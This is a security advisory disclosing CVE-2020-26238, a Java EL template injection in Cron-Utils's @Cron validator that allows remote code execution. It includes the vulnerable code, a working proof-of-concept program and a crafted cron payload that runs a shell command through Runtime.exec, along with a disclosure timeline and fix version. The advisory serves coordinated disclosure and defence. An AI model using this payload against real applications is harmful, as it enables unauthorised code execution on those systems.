Summary
A Template Injection was identified in Cron-Utils enabling attackers to inject arbitrary Java EL expressions, leading to unauthenticated Remote Code Execution (RCE) vulnerability.
Product
Cron-Utils
Tested Version
latest commit to the date of testing: b080eba
Details
Remote Code Execution - JavaEL Injection
If developers use the @Cron
annotation to validate a user controlled Cron expression, attackers will be able to inject and run arbitrary Java Expression Language (EL) expressions.
Cron-Utils uses Java Bean Validation (JSR 380) custom constraint validators such as CronValidator
. When building custom constraint violation error messages, it is important to understand that they support different types of interpolation, including Java EL expressions. Therefore if an attacker can inject arbitrary data in the error message template passed to ConstraintValidatorContext.buildConstraintViolationWithTemplate()
, they will be able to run arbitrary Java code. Unfortunately, it is common that validated (and therefore, normally untrusted) bean properties flow into the custom error message. In this case CronValidator
includes the Cron expression being validated in the custom constraint error validation message if an exception is thrown while parsing the expression:
public boolean isValid(String value, ConstraintValidatorContext context) {
if (value == null) {
return true;
}
CronDefinition cronDefinition = CronDefinitionBuilder.instanceDefinitionFor(type);
CronParser cronParser = new CronParser(cronDefinition);
try {
cronParser.parse(value).validate();
return true;
} catch (IllegalArgumentException e) {
context.disableDefaultConstraintViolation();
context.buildConstraintViolationWithTemplate(e.getMessage()).addConstraintViolation();
return false;
}
}
PoC
In order to reproduce this vulnerability you can use the following test code:
import com.cronutils.validation.Cron;
import com.cronutils.model.CronType;
import java.util.Set;
import javax.validation.ConstraintViolation;
import javax.validation.Validation;
import javax.validation.Validator;
import javax.validation.ValidatorFactory;
public class Main {
public static class Job {
@Cron(type = CronType.SPRING)
private String cronExpression;
String getCronExpression() {
return cronExpression;
}
void setCronExpression(String cronExpression) {
this.cronExpression = cronExpression;
}
}
public static void main(String[] args) {
Job job = new Job();
job.setCronExpression("java.lang.Runtime.getRuntime().exec('touch /tmp/pwned'); // 4 5 [${''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval(validatedValue)}]");
ValidatorFactory factory = Validation.buildDefaultValidatorFactory();
Validator validator = factory.getValidator();
Set<ConstraintViolation<Job>> constraintViolations = validator.validate(job);
String errmsg = constraintViolations.iterator().next().getMessage();
System.out.println(errmsg);
}
}
If the cron-utils’ @Cron
annotation is used to validate an user controlled expression, it will allow an attacker to execute arbitrary Java code.
In order to trigger an exception and keep the payload lower case and allow whitespaces, we need to use a payload in the form of:
java.lang.Runtime.getRuntime().exec('touch /tmp/pwned'); // 4 5 [${''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval(validatedValue)}]");
Where the cron fields are:
java.lang.Runtime.getRuntime().exec('touch
/tmp/pwned');
//
4
5
[${''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval(validatedValue)}]");
Which will result in an exception such as:
Failed to parse 'java.lang.Runtime.getRuntime().exec('touch /tmp/pwned'); // 4 5 [java.lang.UNIXProcess@28a53635]'. Invalid chars in expression! Expression: JAVA.LANG.RUNTIME.GETRUNTIME().EXEC('TOUCH Invalid chars: JAVA.LANG.RUNTIME.GETRUNTIME().EXEC('TOUCH
Note that the sixth component has been evaluated to java.lang.UNIXProcess@28a53635
proving that the process ran.
Impact
This issue leads to Remote Code execution
CVE
- CVE-2020-26238
Coordinated Disclosure Timeline
- 11/05/2020: Report sent to jmrozanec@gmail.com
- 11/21/2020: Issue is fixed in version 9.1.3
Resources
- https://github.com/jmrozanec/cron-utils/security/advisories/GHSA-pfj3-56hm-jwq5
- https://github.com/jmrozanec/cron-utils/issues/461
Credit
This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2020-212
in any communication regarding this issue.